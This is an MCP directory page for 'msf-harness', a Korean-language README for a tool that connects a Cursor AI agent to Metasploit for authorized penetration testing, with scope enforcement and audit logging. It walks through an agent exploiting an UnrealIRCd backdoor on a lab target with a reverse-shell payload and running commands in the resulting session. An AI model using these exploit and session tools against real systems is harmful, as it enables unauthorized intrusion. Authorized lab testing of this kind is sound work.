Skip to main content
Glama
deenesjakoruzh
Suzu-Testing

msf-harness

by Suzu-Testing
OverviewSchemaRelated ServersScoreDiscussions
Python
Local

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

Cursor AI 에이전트와 Metasploit Framework를 MCP(Model Context Protocol)를 통해 연결하는 에이전틱 침투 테스트 하네스입니다. 정찰, 익스플로잇, 세션 관리, 사후 익스플로잇, 피보팅, 페이로드 생성, 데이터베이스 작업을 아우르는 54개의 목적별 도구를 통해 구조화되고 범위가 강제된 Metasploit RPC 접근을 제공합니다.

명시적 규칙(Rules of Engagement), 서버 측 정책 강제, 감사 로깅, PTES 정렬 단계/게이트 방법론을 갖춘 공인된 실습실 및 전문 펜테스트 워크플로우를 위해 제작되었습니다.

이 하네스가 필요한 이유

기능

이 하네스

공식 msfmcpd

GH05TCREW/MetasploitMCP

도구 수

54

~23

~15

서버 측 ROE(CIDR, 모듈, 세션)

예

아니요

아니요

Cursor 훅(범위 게이트, 위험 점수, 증거)

18개 스크립트

아니요

아니요

PTES 워크플로우 단계/게이트

7단계, 57개 스킬

아니요

아니요

콘솔 우선 익스플로잇 실행

예

아니요

예

asyncio.to_thread(비차단)

예

예

아니요

도메인 인증

예(실패 시 차단)

아니요

아니요

자동 LHOST 감지

예(크로스 플랫폼)

아니요

아니요

익스플로잇 전 검사 게이트

강제됨

아니요

아니요

감사 로깅 + 세계 상태

예

아니요

아니요

자체 포함 펜테스트 스킬

5개 계층에 걸친 57개 스킬

아니요

아니요

Related MCP server: MSFConsole MCP Server

기능

  • 54개의 MCP 도구: 정찰, 익스플로잇, 세션, Meterpreter 작업, 피보팅, 페이로드, 핸들러, 워크스페이스, 콘솔, 데이터베이스 쓰기, 실습실 헬퍼 포함

  • 콘솔 우선 익스플로잇: 동기식 출력 캡처, 세션 감지, 실패 파싱 포함

  • 서버 측 ROE 강제: CIDR 범위, 도메인 인증, CIDR 폭 상한, 세션 제한, DoS 차단, 익스플로잇 전 검사 게이트

  • 18개의 Cursor 훅 스크립트: 범위 검증, 위험 점수(0-100), 중복 감지, 증거 로깅, 세계 상태 추적, 자격 증명 삭제

  • 57개의 자체 포함 에이전트 스킬: PTES 워크플로우, 도메인별 플레이북(웹, AD, 클라우드, 컨테이너, 모바일, 바이너리, 회피, 서비스 수준, 취약점 클래스)

  • 5개의 전문화된 서브에이전트: 오케스트레이터, 정찰, 익스플로잇, 사후 익스플로잇, 검토자

플랫폼 지원

플랫폼

상태

참고

Windows + WSL2 + Kali

기본

전체 훅 파이프라인, 실습실 Docker 지원

네이티브 Linux / Kali

지원됨

훅에 pwsh 필요, 네이티브 msfrpcd

macOS + 원격 MSF

실험적

MCP 서버는 작동, 훅에 pwsh 필요, MSF_HOST를 원격 RPC로 지정

사전 요구 사항

  • Python 3.10+

  • Metasploit Framework(WSL/Kali 또는 네이티브 Linux)

  • MCP를 지원하는 Cursor IDE

  • 훅 파이프라인용 PowerShell Core(pwsh)

  • scope/scope-master.txt에 정의된 인증된 대상

빠른 시작

1. 클론 및 설치

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. 자격 증명 구성

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Metasploit RPC 시작

Windows(WSL):

.\scripts\start-msfrpcd.ps1

Linux / Kali(네이티브):

./scripts/start-msfrpcd.sh

4. Cursor에서 MCP 활성화

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Cursor 설정 > MCP에서 msf-harness를 켭니다.

5. 설정 확인

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

그런 다음 Cursor 채팅에서 msf_status를 실행하여 MCP 연결을 확인합니다.

6. 실습실 대상(선택 사항)

내장된 Metasploitable2 Docker 실습실은 docs/LAB.md를 참조하세요.

HackTheBox, TryHackMe, OSCP 또는 자체 대상을 사용하려면 docs/BYO-TARGETS.md를 참조하세요.

자세한 설정 지침은 docs/SETUP.md를 참조하세요.

또는 원커맨드 부트스트랩을 실행하세요:

.\scripts\bootstrap.ps1

첫 번째 익스플로잇

설정이 완료되고 Cursor 채팅에서 msf_status가 작동하면 Docker 실습실을 대상으로 이 종단 간 데모를 시도해 보세요:

1. 실습실 대상 시작:

.\scripts\start-lab-targets.ps1

2. Cursor 채팅에서 에이전트에게 실습실 익스플로잇을 요청하세요:

10.255.255.254 포트 9667의 실습실 대상을 스캔하고 engagement lab-default를 사용하여 UnrealIRCd 백도어를 익스플로잇하세요

에이전트는 다음을 수행합니다:

  1. msf_module_check를 실행하여 대상이 취약한지 확인(ROE 필수)

  2. msf_get_lab_network를 호출하여 LHOST 자동 감지

  3. exploit/unix/irc/unreal_ircd_3281_backdoor로 msf_run_exploit 실행

  4. msf_list_active_sessions를 호출하여 셸 확인

  5. msf_send_session_command를 사용하여 대상에서 명령 실행

또는 개별 MCP 도구 호출로 단계별로 수행하세요:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

전체 포트 맵과 익스플로잇별 참고 사항은 docs/LAB.md를 참조하세요.

아키텍처

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

MCP 도구(총 54개)

읽기 전용(engagement_id 불필요)

도구

용도

msf_status

RPC 연결, 버전, 세션 수 확인

msf_search_modules

키워드, CVE 또는 이름으로 모듈 검색

msf_module_info

모듈 옵션, 대상, 참조, 등급

msf_module_options

모듈의 구성 가능한 옵션 가져오기

msf_running_stats

현재 실행 중인 모듈의 통계 가져오기

msf_list_modules

선택적 필터로 유형별 모듈 나열

msf_host_info

msfdb에서 발견된 호스트 조회

msf_service_info

발견된 서비스 조회(포트, 프로토콜)

msf_vulnerability_info

취약점 레코드 조회

msf_note_info

주석/메모 조회

msf_credential_info

수집된 자격 증명 조회

msf_loot_info

수집된 전리품/파일 조회

msf_list_active_sessions

유형 및 대상이 포함된 현재 세션 나열

msf_session_info

단일 세션의 상세 정보 가져오기

msf_list_listeners

활성 핸들러/백그라운드 작업 나열

msf_job_info

특정 작업의 세부 정보 가져오기

msf_list_payloads

이름/플랫폼/아키텍처로 사용 가능한 페이로드 검색

msf_compatible_payloads

주어진 모듈과 호환되는 페이로드 나열

msf_list_workspaces

데이터베이스 워크스페이스 나열

msf_db_status

데이터베이스 연결 및 드라이버 정보 확인

msf_console_list

활성 RPC 콘솔 인스턴스 나열

msf_get_lab_network

실습실 대상 구성 가져오기(Docker 포트, LHOST)

msf_route_list

세션 피보팅을 위한 활성 경로 나열

작업(engagement_id 필요)

도구

용도

msf_module_check

안전한 취약점 프로브(비익스플로잇)

msf_module_results

UUID로 비동기 모듈 작업 결과 조회

msf_run_exploit

익스플로잇 모듈 실행(콘솔 또는 RPC 작업 모드, 구성 가능한 타임아웃)

msf_run_auxiliary_module

보조 모듈 실행(스캐너, 퍼저, 선택적 콘솔 모드)

msf_run_post_module

세션에서 사후 익스플로잇 모듈 실행(선택적 콘솔 모드)

msf_send_session_command

활성 셸/meterpreter에서 명령 실행

msf_terminate_session

세션 종료

msf_wait_for_session

익스플로잇/핸들러 후 새 세션 폴링

msf_session_upgrade

셸을 Meterpreter로 업그레이드

msf_session_sysinfo

Meterpreter 세션에서 OS/아키텍처/호스트 이름 가져오기

msf_session_getuid

Meterpreter 세션에서 현재 사용자 ID 가져오기

msf_session_ps

Meterpreter 세션에서 실행 중인 프로세스 나열

msf_session_download

대상에서 evidence/로 파일 다운로드

msf_session_upload

evidence/에서 대상으로 파일 업로드(샌드박스 처리)

msf_session_run_script

세션에서 Meterpreter 스크립트 실행

msf_start_listener

multi/handler 리스너 시작

msf_stop_job

백그라운드 작업 중지

msf_cleanup_jobs

포트를 확보하기 위해 모든 백그라운드 작업 중지

msf_generate_payload

페이로드 파일 생성(evidence/에 저장)

msf_create_workspace

데이터베이스 워크스페이스 생성

msf_set_workspace

활성 워크스페이스 전환

msf_delete_workspace

데이터베이스 워크스페이스 삭제

msf_db_import

스캔 데이터 가져오기(nmap XML, Nessus 등)

msf_db_nmap

nmap 실행 및 결과 자동 가져오기

msf_console_execute

RPC를 통해 임의의 msfconsole 명령 실행

msf_route_add

피보팅을 위해 세션을 통한 경로 추가

msf_route_delete

경로 제거

msf_autoroute

post/multi/manage/autoroute를 통한 자동 경로 추가

msf_report_host

호스트를 데이터베이스에 수동 보고

msf_credential_add

발견된 자격 증명을 데이터베이스에 저장

msf_db_add_note

데이터베이스에 메모/주석 추가

예제 워크플로우

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

안전 모델

  1. 서버 측 ROE(msf_harness/mcp/policy/roe.py): 대상이 참여 CIDR에 속하는지 검증하고, 금지된 모듈을 차단하며, 세션 제한을 적용하고, CIDR 스캔 범위를 제한하며, exploit 전 check를 요구하고, 도메인을 검증합니다(실패 시 폐쇄)

  2. Cursor 훅(.cursor/hooks/): 모든 셸 명령과 MCP 호출에 범위 게이트 적용, 위험 점수 산정(0-100, CRITICAL 등급 포함), 중복 탐지, logs/command-ledger.jsonl에 감사 로깅, 증거 자동 저장, 자격 증명 마스킹

  3. 콘솔 명령 파싱: msf_console_execute는 원시 명령에서 RHOSTS, 모듈 경로, db_nmap 대상을 추출하고 검증합니다

  4. 파일 경로 제한: msf_db_import와 msf_generate_payload는 evidence/ 및 engagements/ 디렉터리로 제한됩니다

  5. DoS 모듈(auxiliary/dos/*)은 무조건 차단됩니다

  6. 입력 검증: nmap 인자는 허용 목록으로 관리되고, 옵션 키는 검증되며, 콘솔 값은 따옴표 이스케이프 처리됩니다

테스트 권한이 있는 시스템에서만 사용하십시오.

문제 해결

증상

해결 방법

msf_status가 "Cannot connect to msfrpcd" 표시

.\scripts\start-msfrpcd.ps1 실행; wsl -e bash -lc "ss -tlnp | grep 55553"로 msfrpcd가 수신 중인지 확인

MCP 서버가 Cursor에 표시되지 않음

.cursor/mcp.json의 cwd와 PYTHONPATH가 절대 경로를 사용하는지 확인; Cursor 재시작

"MSF_PASSWORD is not set"

.env에 설정(필요 시 .env.example에서 복사)

"Target not in scope" 또는 ROE 거부

대상 IP/CIDR을 scope/scope-master.txt 및 engagements/<id>/roe.yaml의 authorized_cidrs에 추가

모듈 검사가 "not supported"로 실패

일부 모듈에는 check 메서드가 없습니다. 정상적인 동작입니다. 주의하여 진행하십시오.

exploit 후 세션이 없음

LHOST가 올바른지 확인(msf_get_lab_network); 방화벽 확인; 다른 페이로드 시도

Cursor 출력에 훅 오류 발생

pwsh(PowerShell 7+)가 설치되어 있는지 확인: winget install Microsoft.PowerShell

Python import 오류

프로젝트 루트에서 pip install -e ".[mcp]" 실행

전체 사전 요구 사항 상태 점검을 위해 python scripts/doctor.py를 실행하십시오.

개발

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

개발 환경 설정 및 PR 지침은 CONTRIBUTING.md를 참조하십시오.

디렉터리 구조

경로

용도

msf_harness/mcp/

Python MCP 서버 패키지

msf_harness/mcp/tools/

MCP 도구 구현(12개 모듈, 54개 도구)

msf_harness/mcp/rpc/

자동 재연결 기능이 있는 Metasploit RPC 클라이언트

msf_harness/mcp/policy/

ROE 적용(CIDR, 도메인, 모듈, 세션, exploit 게이트)

scope/

승인된 대상 CIDR 및 도메인

engagements/

참여별 ROE 구성 및 워크플로 상태

evidence/msf/

캡처된 증거(gitignore 처리됨)

logs/

훅 감사 로그 및 명령 원장(gitignore 처리됨)

.cursor/hooks/

PowerShell Core 안전 게이트(18개 스크립트)

.cursor/skills/

에이전트 워크플로 플레이북(57개 스킬)

.cursor/agents/

사용자 정의 하위 에이전트 정의(5개 에이전트)

.cursor/rules/

상시 적용 에이전트 지침(3개 규칙 + AGENTS.md)

scripts/

유틸리티 스크립트(RPC 시작, 참여 생성, 상태 점검, MCP 검증)

tests/

Pytest + 훅 테스트 스위트

docs/

설정 가이드, 랩 가이드, BYO 대상 가이드

라이선스

MIT

감사의 말

This server cannot be installed

A
license - permissive license
Not graded
quality - not tested
C
maintenance

How are these scores calculated?

Maintenance

–Maintainers
–Response time
–Release cycle
–Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • MSFConsole MCP Server

    LYFTIUM-INC
    A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT

  • MSFConsole MCP Server

    PreistlyPython
    -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • mcp-server

    MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • ToolAPI

    Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • MCP Fortress

    Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server